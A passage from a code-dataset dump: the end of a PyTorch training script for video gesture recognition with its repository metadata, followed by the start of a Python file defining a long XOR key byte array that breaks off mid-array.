temporal_transform_test)\n            dataloader_val = DataLoader(dataset_val, batch_size=args.batch_size, \n                                        num_workers=args.num_workers,pin_memory=True)\n        else:\n            dataset_train = dataset_pkl.dataset_video(annot_path, 'train',\n                                                spatial_transform=trans_train,\n                                                temporal_transform = temporal_transform_train)\n            dataloader_train = DataLoader(dataset_train, batch_size=args.batch_size,\n                                            shuffle=True, \n                                            num_workers=args.num_workers, pin_memory=True)\n\n            print('\\n')\n            print('Loading validating data.....')\n            dataset_val = dataset_pkl.dataset_video(annot_path, 'val', \n                                                spatial_transform=trans_test,\n                                                temporal_transform = temporal_transform_test)\n            dataloader_val = DataLoader(dataset_val, batch_size=args.batch_size, \n                                        num_workers=args.num_workers,pin_memory=True)            \n\n\n        \n    else:\n        print('Loading testing data.....')\n        if args.dataset == 'EgoGesture':\n            dataset_test = dataset_pkl_EgoGesture.dataset_video(annot_path, 'test', \n                                                spatial_transform=trans_test,\n                                                temporal_transform = temporal_transform_test)\n            dataloader_test = DataLoader(dataset_test, batch_size=args.batch_size, \n                                        num_workers=args.num_workers,pin_memory=True)\n        else:\n            dataset_test = dataset_pkl.dataset_video(annot_path, 'test', \n                                                spatial_transform=trans_test,\n                                                temporal_transform = temporal_transform_test)\n            dataloader_test = DataLoader(dataset_test, batch_size=args.batch_size, \n                                        num_workers=args.num_workers,pin_memory=True)\n\n    model, parameters = generate_model(args, params['num_classes'])\n    model.to(device)\n\n\n\n    if args.is_train:\n        if args.modality == 'RGB':\n            summary(model, (3,args.clip_len,args.h,args.h))\n        elif args.modality == 'Depth':\n            summary(model, (1,args.clip_len,args.h,args.h))\n        elif args.modality == 'RGB-D':\n            summary(model, (4,args.clip_len,args.h,args.h))\n        model_train(model, dataloader_train, dataloader_val)\n        pdb.set_trace()\n    else:\n        # to be fixed for submitting testing results for jester and sthv2\n        model_test(model, params['save_path'], '{}-{}-{}.pth'.format(args.arch, args.clip_len, args.modality), dataloader_test, args.n_finetune_classes)\n        pdb.set_trace()", "meta": {"hexsha": "127f0c526103b170d43b0c02babcac94ee34a135", "size": 16875, "ext": "py", "lang": "Python", "max_stars_repo_path": "applications/Gesture/action_recognition/R3D/train.py", "max_stars_repo_name": "villawang/Continual_Learning_CV", "max_stars_repo_head_hexsha": "6715fa9c741df920e56aede11cbb85a4be41871e", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 14, "max_stars_repo_stars_event_min_datetime": "2020-05-12T09:44:18.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-14T10:30:28.000Z", "max_issues_repo_path": "applications/Gesture/action_recognition/R3D/train.py", "max_issues_repo_name": "villawang/Continual_Learning_CV", "max_issues_repo_head_hexsha": "6715fa9c741df920e56aede11cbb85a4be41871e", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 17, "max_issues_repo_issues_event_min_datetime": "2020-05-18T06:12:28.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-13T02:42:13.000Z", "max_forks_repo_path": "applications/Gesture/action_recognition/R3D/train.py", "max_forks_repo_name": "villawang/Continual_Learning_CV", "max_forks_repo_head_hexsha": "6715fa9c741df920e56aede11cbb85a4be41871e", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 8, "max_forks_repo_forks_event_min_datetime": "2020-05-18T11:15:51.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-11T10:55:11.000Z", "avg_line_length": 41.3602941176, "max_line_length": 152, "alphanum_fraction": 0.5959111111, "include": true, "reason": "import numpy", "num_tokens": 3649, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.19436781101874467, "lm_q1q2_score": 0.09870228046929683}}
{"text": "from typing import List, Union\n\nimport numpy as np\n\nxor_key = np.array([\n    0x78, 0xBD, 0x02, 0x47, 0x8C, 0xC9, 0x16, 0x53, 0x90, 0xD5, 0x2A, 0x6E, 0xA5, 0xE0, 0x3F, 0x7A, 0xA9, 0xEC, 0x53,\n    0x96, 0xDD, 0x18, 0x44, 0x81, 0xC2, 0x07, 0x78, 0xBD, 0xF6, 0x0C, 0x4B, 0x86, 0xFD, 0x03, 0x44, 0x89, 0xCA, 0x17,\n    0x50, 0x9D, 0xD6, 0x42, 0x87, 0xC8, 0x0C, 0x57, 0x92, 0xDD, 0x18, 0x6B, 0xAE, 0xE1, 0x24, 0x7F, 0xBA, 0xF2, 0x4F,\n    0x94, 0xBA, 0xFD, 0x20, 0x63, 0xAE, 0xE9,\n    0x54, 0x9F, 0xD5, 0x0A, 0x4F, 0x84, 0xC1, 0x3E, 0x7B, 0x88, 0xCD, 0x12, 0x57, 0x9D, 0xD8, 0x67, 0xA2, 0xE1, 0x0D,\n    0x50, 0x97, 0xDA, 0x19, 0x41, 0x8F, 0xCA, 0x19, 0x5C, 0x93, 0xD6, 0x2D, 0x68, 0xA7, 0xE2, 0x21, 0x67, 0xA8, 0xED,\n    0x56, 0x93, 0xDC, 0x19, 0x4A, 0x8F, 0xC0, 0x05, 0x7F, 0xBA, 0xF5, 0x30, 0x53, 0x96, 0xFC, 0x01, 0x42, 0x8F, 0xC8,\n    0x14, 0x5F, 0xBB, 0xFE, 0x41, 0x84, 0xCF,\n    0x0A, 0x55, 0x90, 0xD3, 0x29, 0x6E, 0xA3, 0xE0, 0x3D, 0x7A, 0xB7, 0xEC, 0x51, 0x96, 0xDB, 0x19, 0x44, 0x6E, 0xAB,\n    0x18, 0x5D, 0x92, 0xD7, 0x0C, 0x49, 0x86, 0xC2, 0x01, 0x44, 0x8B, 0xCE, 0x15, 0x50, 0x9F, 0xDA, 0x69, 0x85, 0xCB,\n    0x0C, 0x51, 0x92, 0xDF, 0x18, 0x65, 0xAE, 0xE3, 0x1B, 0x5E, 0x96, 0xD3, 0x2C, 0x69, 0xBA, 0xFF, 0x20, 0x65, 0xAE,\n    0xEB, 0x54, 0x90, 0xD3, 0x16, 0x49, 0x8C,\n    0xC7, 0x02, 0x7D, 0xB8, 0xCB, 0x0E, 0x56, 0x9B, 0xD8, 0x65, 0xA2, 0x8C, 0xC7, 0x33, 0x76, 0xB9, 0xFC, 0x40, 0x8D,\n    0xCA, 0x17, 0x5C, 0x91, 0xD6, 0x2B, 0x68, 0xA5, 0xE2, 0x3E, 0x65, 0xA8, 0xEF, 0x52, 0x91, 0xDC, 0x1B, 0x46, 0x8D,\n    0xC0, 0x04, 0x5E, 0x95, 0xD0, 0x0F, 0x4A, 0xB9, 0xFC, 0x03, 0x46, 0x8D, 0xCB, 0x14, 0x51, 0x92, 0xFE, 0x43, 0x84,\n    0xC9, 0x0A, 0x57, 0x90, 0xDC, 0x17, 0x6A,\n    0xAD, 0xE0, 0x23, 0x7E, 0xB9, 0xD1, 0x32, 0x77, 0xB9, 0xFC, 0x27, 0x62, 0xAD, 0xE8, 0x5B, 0x9E, 0xD1, 0x14, 0x4F,\n    0x85, 0xC2, 0x3F, 0x44, 0x89, 0xCE, 0x13, 0x50, 0x9D, 0xDA, 0x67, 0xAD, 0xC9, 0x0C, 0x53, 0x7B, 0xB8, 0x05, 0x42,\n    0x8F, 0xC4, 0x19, 0x5F, 0x92, 0xD1, 0x2C, 0x6B, 0xA6, 0xFD, 0x20, 0x67, 0xAA, 0xE9, 0x57, 0x90, 0xDD, 0x16, 0x4B,\n    0x8C, 0xC1, 0x02, 0x7F, 0xB8, 0xF5, 0x32,\n    0x77, 0xB8, 0xFD, 0x06, 0x43, 0x8C, 0xC9, 0x1A, 0x76, 0xBB, 0xFD, 0x40, 0x83, 0xCE, 0x09, 0x54, 0x9F, 0xD2, 0x15,\n    0x68, 0xAB, 0xE1, 0x3E, 0x7B, 0xA8, 0xED, 0x52, 0x97, 0xBF, 0xFA, 0x25, 0x60, 0xA4, 0x19, 0x5E, 0x93, 0xD0, 0x0D,\n    0x4A, 0x87, 0xFC, 0x01, 0x46, 0x8A, 0xC9, 0x14, 0x53, 0x9E, 0xD5, 0x41, 0x84, 0xCB, 0x0E, 0x55, 0x93, 0xDC, 0x19,\n    0x4D, 0x80, 0xC7, 0x1A, 0x59, 0x94, 0xD3,\n    0x2E, 0x76, 0xBB, 0xFC, 0x21, 0x62, 0xAF, 0xE8, 0x55, 0x9E, 0xD3, 0x14, 0x48, 0x8B, 0xC6, 0x01, 0x7C, 0x87, 0xCA,\n    0x0D, 0x50, 0x93, 0xFB, 0x05, 0x40, 0x83, 0xEF, 0x32, 0x75, 0xB8, 0xFB, 0x46, 0x81, 0xCC, 0x18, 0x5D, 0x92, 0xD7,\n    0x2C, 0x69, 0xA6, 0xE3, 0x20, 0x65, 0xAA, 0xEE, 0x55, 0x90, 0xDF, 0x1A, 0x49, 0x61, 0xA6, 0x1B, 0x58, 0x95, 0xD3,\n    0x0E, 0x75, 0xB8, 0xFF, 0x02, 0x41, 0x8C,\n    0xCB, 0x16, 0x5D, 0xBA, 0xFF, 0x40, 0x85, 0xCE, 0x0B, 0x54, 0x91, 0xD2, 0x17, 0x68, 0xAC, 0xE7, 0x1F, 0x58, 0x95,\n    0xCE, 0x33, 0x74, 0xB9, 0xFA, 0x27, 0x61, 0xAC, 0xE7, 0x5A, 0x9D, 0xD0, 0x13, 0x4E, 0x89, 0xC4, 0x3F, 0x45, 0x8A,\n    0xCF, 0x14, 0x51, 0x9E, 0xDB, 0x68, 0x84, 0xAA, 0xED, 0x37, 0x7C, 0xB9, 0x06, 0x43, 0x80, 0xC5, 0x1A, 0x5F, 0x94,\n    0xD1, 0x2F, 0x6A, 0xB9, 0xFC, 0x23, 0x66,\n    0xAD, 0xE8, 0x57, 0x92, 0xD1, 0x17, 0x48, 0x8D, 0xC6, 0x03, 0x5B, 0x96, 0xED, 0x30, 0x77, 0xBA, 0xFA, 0x07, 0x40,\n    0x8D, 0xC6, 0x32, 0x77, 0xB8, 0xFD, 0x46, 0x83, 0xCD, 0x08, 0x5B, 0x9E, 0xD1, 0x14, 0x6F, 0xAA, 0xE5, 0x20, 0x63,\n    0xA9, 0xCD, 0x30, 0x73, 0xBE, 0xF9, 0x24, 0x6F, 0xA2, 0xE5, 0x58, 0x94, 0xD1, 0x0E, 0x4B, 0xB8, 0xFD, 0x02, 0x47,\n    0x8C, 0xC9, 0x16, 0x52, 0x91, 0xFD, 0x40,\n    0x87, 0xCA, 0x09, 0x54, 0x7E, 0xBB, 0x08, 0x4C, 0x83, 0xC6, 0x1D, 0x58, 0x97, 0xD2, 0x31, 0x74, 0xBB, 0xFE, 0x26,\n    0x63, 0xAC, 0xE9, 0x5A, 0x9F, 0xD0, 0x15, 0x4E, 0x8B, 0xC4, 0x00, 0x43, 0x86, 0xC9, 0x31, 0x72, 0xBF, 0xF8, 0x05,\n    0x4E, 0xAA, 0xEE, 0x31, 0x74, 0xBF, 0xFA, 0x45, 0x80, 0xC3, 0x06, 0x59, 0x9C, 0xD0, 0x2D, 0x6A, 0xA7, 0xFC, 0x21,\n    0x66, 0xAB, 0xE8, 0x55, 0x92, 0xBB, 0xE8,\n    0x2D, 0x62, 0xA7, 0x1C, 0x59, 0x96, 0xD3, 0x30, 0x75, 0xBB, 0xFE, 0x05, 0x40, 0x8F, 0xCA, 0x19, 0x75, 0xB8, 0xFF,\n    0x42, 0x82, 0xCF, 0x08, 0x55, 0x9E, 0xD3, 0x14, 0x4E, 0x85, 0xC0, 0x1F, 0x59, 0x8A, 0xCF, 0x30, 0x75, 0xBE, 0xFB,\n    0x24, 0x61, 0xA2, 0xE7, 0x59, 0x9C, 0xD7, 0x12, 0x4D, 0x88, 0xFB, 0x3E, 0x41, 0x84, 0xCF, 0x15, 0x52, 0x9F, 0xF7,\n    0x23, 0x66, 0xA9, 0xEC, 0x37, 0x72, 0xBD,\n    0x07, 0x4C, 0x81, 0xC6, 0x1B, 0x58, 0x95, 0xD2, 0x2F, 0x74, 0xB9, 0xFF, 0x22, 0x61, 0xAC, 0xEB, 0x56, 0x9D, 0xD0,\n    0x17, 0x4A, 0x64, 0xA0, 0x1F, 0x5A, 0xA9, 0xEC, 0x33, 0x76, 0xBD, 0xF8, 0x07, 0x42, 0x82, 0xEE, 0x33, 0x74, 0xB9,\n    0xFA, 0x47, 0x80, 0xCD, 0x06, 0x5B, 0x9D, 0xD0, 0x13, 0x6E, 0xA9, 0xE4, 0x02, 0x47, 0x88, 0xCD, 0x36, 0x72, 0xBD,\n    0xF8, 0x2B, 0x6E, 0xA1, 0xE4, 0x5F, 0x9A,\n    0xD5, 0x10, 0x74, 0xB9, 0xFE, 0x03, 0x40, 0x8D, 0xCA, 0x17, 0x5C, 0xB8, 0xFD, 0x43, 0x86, 0xA8, 0xF5, 0x32, 0x7F,\n    0xB4, 0x09, 0x4E, 0x83, 0xC0, 0x1C, 0x5B, 0x96, 0xCD, 0x30, 0x77, 0xBA, 0xF9, 0x24, 0x63, 0xAE, 0xE6, 0x5B, 0x9C,\n    0xD1, 0x12, 0x4F, 0x88, 0xC5, 0x3E, 0x64, 0xAB, 0xED, 0x36, 0x73, 0xBC, 0xF9, 0x0A, 0x66, 0xAB, 0xEC, 0x31, 0x72,\n    0xBE, 0xF9, 0x44, 0x8F, 0xC2, 0x05, 0x58,\n    0x9B, 0xD6, 0x11, 0x6C, 0xB8, 0xFD, 0x22, 0x67, 0xAC, 0xCA, 0x35, 0x70, 0xB3, 0xF6, 0x29, 0x63, 0xA0, 0x1D, 0x5A,\n    0x97, 0xEC, 0x31, 0x76, 0xBB, 0xF8, 0x05, 0x43, 0x8E, 0xC5, 0x31, 0x74, 0xBB, 0xFE, 0x45, 0x80, 0xCF, 0x0A, 0x5A,\n    0x70, 0xB7, 0x0A, 0x49, 0x84, 0xC3, 0x1E, 0x45, 0x88, 0xCF, 0x31, 0x72, 0xBF, 0xF8, 0x25, 0x6E, 0xA3, 0xE4, 0x59,\n    0x9A, 0xD7, 0x11, 0x4C, 0xB7, 0xFA, 0x3D,\n    0x40, 0x83, 0xCE, 0x34, 0x71, 0xB2, 0xDF, 0x22, 0x65, 0xA8, 0xEB, 0x36, 0x71, 0xBC, 0xF7, 0x4A, 0x8D, 0xC7, 0x1C,\n    0x59, 0x96, 0xD3, 0x30, 0x75, 0xBA, 0xFF, 0x24, 0x61, 0xAF, 0xEA, 0x59, 0x9C, 0xB6, 0xEB, 0x28, 0x65, 0xA2, 0x1F,\n    0x64, 0xA8, 0xEF, 0x32, 0x71, 0xBC, 0xFB, 0x06, 0x4D, 0xA9, 0xEC, 0x33, 0x75, 0xBE, 0xFB, 0x44, 0x81, 0xC2, 0x07,\n    0x58, 0x9D, 0xD6, 0x13, 0x48, 0x85, 0xDE,\n    0x03, 0x44, 0x89, 0xCA, 0x37, 0x70, 0xBD, 0xF6, 0x2A, 0x6D, 0xA0, 0xE3, 0x5E, 0x99, 0xD4, 0x2F, 0x72, 0xB5, 0xF8,\n    0x04, 0x41, 0x8E, 0xCB, 0x18, 0x74, 0xB9, 0xDD, 0x20, 0x63, 0xAE, 0xF6, 0x33, 0x70, 0xB5, 0x0A, 0x4F, 0x84, 0xC1,\n    0x1E, 0x5B, 0x88, 0xCC, 0x33, 0x76, 0xBD, 0xF8, 0x27, 0x62, 0xA1, 0xE4, 0x5B, 0x9E, 0xD6, 0x13, 0x4C, 0x66, 0x9D,\n    0x20, 0x67, 0xAA, 0xE9, 0x34, 0x73, 0xBD,\n    0xF6, 0x22, 0x67, 0xA8, 0xED, 0x36, 0x73, 0xBC, 0xF9, 0x4A, 0x8E, 0xC1, 0x04, 0x5F, 0x9A, 0xD5, 0x10, 0x73, 0xB6,\n    0xF9, 0x01, 0x43, 0x8E, 0xC9, 0x34, 0x7F, 0xB2, 0xF5, 0x28, 0x6B, 0xA6, 0xE1, 0x5B, 0xA8, 0xED, 0x32, 0x77, 0xBC,\n    0xF9, 0x06, 0x43, 0x80, 0xEC, 0x30, 0x77, 0xBA, 0xF9, 0x44, 0x83, 0xAB, 0xF8, 0x3D, 0x72, 0xB7, 0x0D, 0x48, 0x87,\n    0xC2, 0x01, 0x44, 0x8B, 0xCE, 0x35, 0x70,\n    0xBF, 0xF9, 0x2A, 0x6F, 0xA0, 0xE5, 0x5E, 0x9B, 0xD4, 0x11, 0x72, 0xB7, 0xF9, 0x3C, 0x62, 0xAF, 0xE8, 0x35, 0x7E,\n    0x9A, 0xDF, 0x20, 0x65, 0xAF, 0xEA, 0x35, 0x70, 0xB3, 0xF6, 0x49, 0x8C, 0xC7, 0x02, 0x5D, 0x97, 0xCC, 0x31, 0x76,\n    0xBB, 0xF8, 0x25, 0x62, 0xAF, 0xC7, 0x3A, 0x72, 0xB7, 0xEC, 0x29, 0x66, 0xA3, 0x20, 0x65, 0xAA, 0xEF, 0x34, 0x70,\n    0xBF, 0xFA, 0x09, 0x65, 0xA8, 0xEF, 0x32,\n    0x71, 0xBC, 0xFB, 0x45, 0x8E, 0xC3, 0x04, 0x59, 0x75, 0xB0, 0x0F, 0x4A, 0x99, 0xDC, 0x00, 0x45, 0x8E, 0xCB, 0x34,\n    0x71, 0xB2, 0xF7, 0x28, 0x6D, 0xA6, 0xE2, 0x5D, 0x98, 0xEB, 0x2E, 0x71, 0xB4, 0xFF, 0x3A, 0x45, 0x80, 0xC4, 0x13,\n    0x56, 0x99, 0xDC, 0x27, 0x62, 0xAD, 0xE8, 0x3B, 0x7E, 0xB6, 0x0B, 0x48, 0x85, 0xC2, 0x1F, 0x44, 0x89, 0xCE, 0x33,\n    0x70, 0xBC, 0xFB, 0x26, 0x6D, 0xA0, 0xE7,\n    0x5A, 0x99, 0xB1, 0xEE, 0x2B, 0x59, 0x9C, 0x23, 0x66, 0xAD, 0xE8, 0x37, 0x72, 0xB1, 0xDD, 0x20, 0x64, 0xA9, 0xEA,\n    0x37, 0x70, 0xBD, 0xF6, 0x4B, 0x8C, 0xC1, 0x02, 0x5E, 0x99, 0xD4, 0x0F, 0x57, 0x98, 0xDD, 0x06, 0x43, 0x8C, 0xC9,\n    0x3B, 0x7E, 0xB1, 0xF4, 0x2F, 0x6A, 0xA5, 0xE0, 0x63, 0xA6, 0xE9, 0x33, 0x70, 0xBD, 0xFA, 0x07, 0x4C, 0xA8, 0xED,\n    0x32, 0x77, 0xBC, 0xE5, 0x22, 0x6F, 0xA4,\n    0xF9, 0x3E, 0x73, 0xB0, 0x0D, 0x4A, 0x87, 0xDD, 0x00, 0x47, 0x8A, 0xC9, 0x34, 0x73, 0xBE, 0xF5, 0x28, 0x6F, 0xA1,\n    0xE2, 0x5F, 0x98, 0xD5, 0x2E, 0x73, 0x5B, 0x9E, 0x25, 0x60, 0xAC, 0xE9, 0x3A, 0x56, 0x9B, 0xDC, 0x21, 0x62, 0xAF,\n    0xE8, 0x35, 0x7F, 0xB2, 0xF5, 0x48, 0x8B, 0xC6, 0x01, 0x5C, 0x87, 0xCA, 0x0D, 0x77, 0xBC, 0xF9, 0x05, 0x40, 0x83,\n    0xC6, 0x39, 0x7C, 0xB7, 0xF2, 0x2A, 0x67,\n    0x9C, 0x21, 0x66, 0xAB, 0xE8, 0x35, 0x72, 0xBF, 0xF4, 0x21, 0x64, 0xAB, 0xEE, 0x35, 0x70, 0xBF, 0xFA, 0x49, 0x8C,\n    0xA6, 0xFA, 0x39, 0x74, 0xB3, 0x0E, 0x55, 0x98, 0xDF, 0x02, 0x41, 0x8C, 0xC8, 0x35, 0x7E, 0xB3, 0xF4, 0x29, 0x6A,\n    0xA7, 0xE0, 0x5D, 0xA6, 0xEA, 0x2D, 0x70, 0xB3, 0xFE, 0x39, 0x61, 0xA2, 0xCE, 0x13, 0x54, 0x98, 0xDB, 0x26, 0x61,\n    0xAC, 0xE7, 0x3A, 0x7D, 0xB0, 0xF3, 0x4E,\n    0x86, 0xC3, 0x00, 0x45, 0x8A, 0xCF, 0x34, 0x71, 0xBE, 0xFB, 0x28, 0x6C, 0xA3, 0xFB, 0x38, 0x75, 0xB2, 0xEF, 0x14,\n    0x59, 0x9E, 0x23, 0x61, 0xAC, 0xEB, 0x36, 0x7D, 0x99, 0xDC, 0x23, 0x66, 0xAD, 0xE8, 0x34, 0x71, 0xB2, 0xF7, 0x48,\n    0x8D, 0xC6, 0x03, 0x5C, 0x76, 0xAD, 0x13, 0x54, 0x99, 0xDA, 0x07, 0x40, 0x8D, 0xC6, 0x3B, 0x7C, 0xB1, 0xF3, 0x2E,\n    0x69, 0xA4, 0xDF, 0x62, 0xA5, 0xE8, 0x2B,\n    0x76, 0xB1, 0xFB, 0x08, 0x64, 0xA9, 0xEE, 0x10, 0x53, 0x9E, 0xD9, 0x24, 0x6F, 0xA5, 0xFA, 0x3F, 0x74, 0xB1, 0x0E,\n    0x4B, 0x98, 0xDD, 0x02, 0x47, 0x8D, 0xC8, 0x37, 0x72, 0xB1, 0xF4, 0x2B, 0x6E, 0xA5, 0xE0, 0x5F, 0x99, 0x8D, 0xD0,\n    0x17, 0x5A, 0x99, 0x24, 0x63, 0xAE, 0xE5, 0x11, 0x57, 0x98, 0xDD, 0x26, 0x63, 0xAC, 0xE9, 0x3A, 0x7F, 0xB0, 0xF5,\n    0x4F, 0x8A, 0xC5, 0x00, 0x43, 0x86, 0xC9,\n    0x0C, 0x52, 0x9F, 0xD8, 0x04, 0x4F, 0x82, 0xC5, 0x38, 0x7B, 0xB6, 0xF1, 0x2C, 0x57, 0x9A, 0x22, 0x67, 0xAC, 0xE9,\n    0x36, 0x73, 0xB0, 0xDC, 0x21, 0x66, 0xAB, 0xE9, 0x34, 0x73, 0xBE, 0xE8, 0x2D, 0x62, 0xA7, 0xFC, 0x39, 0x76, 0xB2,\n    0x11, 0x54, 0x9B, 0xDE, 0x05, 0x40, 0x8F, 0xCA, 0x39, 0x7C, 0xB0, 0xF5, 0x2E, 0x6B, 0xA4, 0xE1, 0x62, 0xA7, 0xE8,\n    0x2D, 0x76, 0x5F, 0x98, 0x25, 0x6E, 0x8A,\n    0xCF, 0x10, 0x55, 0x9E, 0xDB, 0x24, 0x60, 0xA3, 0xE6, 0x39, 0x7C, 0xB7, 0xF2, 0x4D, 0x88, 0xDB, 0x1E, 0x46, 0x8B,\n    0xC8, 0x35, 0x72, 0xBF, 0xF4, 0x0A, 0x4D, 0x80, 0xC3, 0x39, 0x76, 0xB3, 0xD0, 0x15, 0x5A, 0x9F, 0x24, 0x61, 0xAE,\n    0xEB, 0x39, 0x55, 0x98, 0xDF, 0x22, 0x61, 0xAC, 0xEB, 0x36, 0x7D, 0xB0, 0xF4, 0x49, 0x8A, 0xA0, 0xFF, 0x3A, 0x69,\n    0xAC, 0x13, 0x56, 0x9D, 0xDB, 0x04, 0x41,\n    0x82, 0xC7, 0x38, 0x7D, 0xB6, 0xF3, 0x2C, 0x69, 0x9B, 0xDE, 0x61, 0xA4, 0xEF, 0x2A, 0x75, 0xB0, 0xF3, 0x1F, 0x47,\n    0x89, 0xCC, 0x17, 0x52, 0x9D, 0xD8, 0x2B, 0x6E, 0xA1, 0xE4, 0x3F, 0x75, 0xB2, 0x0F, 0x54, 0x99, 0xDE, 0x03, 0x40,\n    0x8D, 0xCA, 0x37, 0x7D, 0xB0, 0xF7, 0x2A, 0x69, 0xA4, 0xFE, 0x3B, 0x48, 0x8D, 0xD2, 0x16, 0x5D, 0x98, 0x27, 0x62,\n    0xA1, 0xCD, 0x10, 0x57, 0x9A, 0xD9, 0x27,\n    0x60, 0xAD, 0xE6, 0x3B, 0x7C, 0xB1, 0xF2, 0x4F, 0x88, 0xC5, 0x1F, 0x42, 0x68, 0xAD, 0x16, 0x53, 0x9C, 0xD9, 0x0A,\n    0x4F, 0x80, 0xC4, 0x3F, 0x7A, 0xB5, 0xF0, 0x13, 0x56, 0x99, 0xDC, 0x67, 0xA2, 0xEA, 0x37, 0x7C, 0x98, 0xDD, 0x22,\n    0x67, 0xAC, 0xE9, 0x15, 0x50, 0x94, 0xE9, 0x2E, 0x63, 0xA0, 0xFD, 0x3A, 0x77, 0xAC, 0x11, 0x56, 0x9A, 0xD9, 0x04,\n    0x43, 0x8E, 0xC5, 0x38, 0x7F, 0xB2, 0xF1,\n    0x2C, 0x68, 0xA5, 0xDE, 0x63, 0xA4, 0x8E, 0xD5, 0x10, 0x5F, 0x9A, 0x29, 0x46, 0x8B, 0xCC, 0x11, 0x52, 0x9F, 0xD8,\n    0x25, 0x6E, 0xA3, 0xE4, 0x38, 0x7B, 0xB6, 0xF1, 0x4C, 0x97, 0xDA, 0x1D, 0x40, 0x83, 0xCE, 0x36, 0x50, 0x93, 0xD6,\n    0x09, 0x4C, 0x87, 0xC2, 0x3D, 0x78, 0x8B, 0xD1, 0x16, 0x5B, 0x98, 0x25, 0x62, 0xAF, 0xE4, 0x10, 0x55, 0x9A, 0xDE,\n    0x25, 0x60, 0xAF, 0xEA, 0x39, 0x7C, 0xB3,\n    0xEB, 0x28, 0x65, 0xA3, 0xFE, 0x25, 0x68, 0xAF, 0x12, 0x51, 0x9C, 0xDB, 0x06, 0x4D, 0x83, 0xC4, 0x39, 0x7A, 0xB7,\n    0xF0, 0x2D, 0x56, 0x9B, 0xDC, 0x61, 0xA3, 0xEE, 0x29, 0x74, 0x52, 0xBE, 0x03, 0x44, 0x89, 0xCA, 0x17, 0x51, 0x9C,\n    0xD7, 0x2A, 0x6D, 0xA0, 0xE3, 0x3E, 0x79, 0xB4, 0xEF, 0x55, 0x9A, 0xDF, 0x04, 0x41, 0x8E, 0xCB, 0x38, 0x7D, 0xB2,\n    0xF7, 0x08, 0x45, 0x82, 0xFF, 0x04, 0x49,\n    0x8E, 0xD3, 0x10, 0x5D, 0x9A, 0x26, 0x6D, 0x89, 0xCC, 0x13, 0x56, 0x9D, 0xD8, 0x27, 0x62, 0xA1, 0xE7, 0x38, 0x7D,\n    0xB6, 0xF3, 0x4C, 0x89, 0xBD, 0xE0, 0x27, 0x6A, 0xAA, 0x17, 0x50, 0x9D, 0xD6, 0x0B, 0x4C, 0x81, 0xC2, 0x3F, 0x78,\n    0xB4, 0xCF, 0x12, 0x55, 0x98, 0xDB, 0x66, 0xA1, 0xEC, 0x27, 0x53, 0x99, 0xDE, 0x23, 0x43, 0x8E, 0xC9, 0x14, 0x5F,\n    0x92, 0xD5, 0x28, 0x64, 0xA1, 0xFE, 0x3B,\n    0x68, 0xAD, 0x12, 0x57, 0x9C, 0xD9, 0x06, 0x42, 0x81, 0xC4, 0x3B, 0x7E, 0xB5, 0xF0, 0x2F, 0x6A, 0x99, 0xC1, 0x07,\n    0x4A, 0x89, 0xD4, 0x13, 0x5E, 0x95, 0x01, 0x44, 0x8B, 0xCE, 0x16, 0x53, 0x9C, 0xD9, 0x2A, 0x6F, 0xA0, 0xE5, 0x3E,\n    0x7B, 0xB4, 0xF0, 0x53, 0x96, 0xD9, 0x1C, 0x47, 0x6F, 0xA8, 0x15, 0x5E, 0x93, 0xD5, 0x08, 0x4B, 0x86, 0xC1, 0x3C,\n    0x47, 0x8A, 0xCD, 0x10, 0x53, 0x99, 0x26,\n    0x63, 0xA0, 0xCC, 0x11, 0x56, 0x9B, 0xD8, 0x25, 0x62, 0xAE, 0xE5, 0x1D, 0x52, 0x97, 0xEC, 0x29, 0x66, 0xA3, 0xE0,\n    0x25, 0x6B, 0xAE, 0x15, 0x50, 0x9F, 0xDA, 0x09, 0x4C, 0x83, 0xC6, 0x3D, 0x7B, 0xB4, 0xF1, 0x12, 0x57, 0x98, 0xDD,\n    0x66, 0xA3, 0x8B, 0xD6, 0x1E, 0x7A, 0xBF, 0x00, 0x45, 0x8E, 0xCB, 0x14, 0x51, 0x92, 0xD7, 0x29, 0x6C, 0xA7, 0xE2,\n    0x3D, 0x78, 0xAB, 0xEE, 0x51, 0x94, 0xDF,\n    0x05, 0x42, 0x8F, 0xC4, 0x39, 0x5D, 0x90, 0xD3, 0x0E, 0x49, 0x84, 0xC0, 0x05, 0x4A, 0x8F, 0xD4, 0x11, 0x5E, 0x9B,\n    0x28, 0x44, 0x89, 0xCF, 0x12, 0x51, 0x9C, 0xDB, 0x26, 0x6D, 0xA0, 0xE7, 0x3A, 0x79, 0xB7, 0xEF, 0x2A, 0x79, 0xBC,\n    0xE3, 0x26, 0x6D, 0xA8, 0x17, 0x52, 0x92, 0xD7, 0x08, 0x4D, 0x86, 0xC3, 0x3C, 0x79, 0x8A, 0xCF, 0x10, 0x54, 0x9F,\n    0xDA, 0x65, 0xA0, 0xE3, 0x0F, 0x52, 0x78,\n    0xBD, 0x06, 0x42, 0x8D, 0xC8, 0x1B, 0x5E, 0x91, 0xD4, 0x2F, 0x6A, 0xA5, 0xE0, 0x24, 0x69, 0xAE, 0x13, 0x50, 0x9D,\n    0xDA, 0x07, 0x4C, 0x81, 0xC6, 0x3A, 0x79, 0xB4, 0xF3, 0x0B, 0x78, 0xBD, 0xC2, 0x07, 0x4C, 0x89, 0xD7, 0x12, 0x51,\n    0xBD, 0x00, 0x47, 0x8A, 0xC9, 0x14, 0x53, 0x9E, 0xD6, 0x2B, 0x6C, 0xA1, 0xE2, 0x3F, 0x78, 0xB5, 0xEE, 0x53, 0x94,\n    0xBD, 0xE6, 0x23, 0x6C, 0xA9, 0x1A, 0x5F,\n    0x90, 0xD5, 0x0E, 0x4B, 0x85, 0xC0, 0x03, 0x46, 0x89, 0xCC, 0x17, 0x52, 0x9D, 0xD8, 0x6B, 0x88, 0xCD, 0x12, 0x57,\n    0x9C, 0xD9, 0x26, 0x40, 0x83, 0xC6, 0x19, 0x53, 0x90, 0xED, 0x2A, 0x67, 0xBC, 0xE1, 0x26, 0x6B, 0xA8, 0x15, 0x53,\n    0x9E, 0xD5, 0x08, 0x4F, 0x82, 0xC1, 0x3C, 0x7B, 0xB6, 0xCD, 0x13, 0x54, 0x99, 0xC5, 0x00, 0x4F, 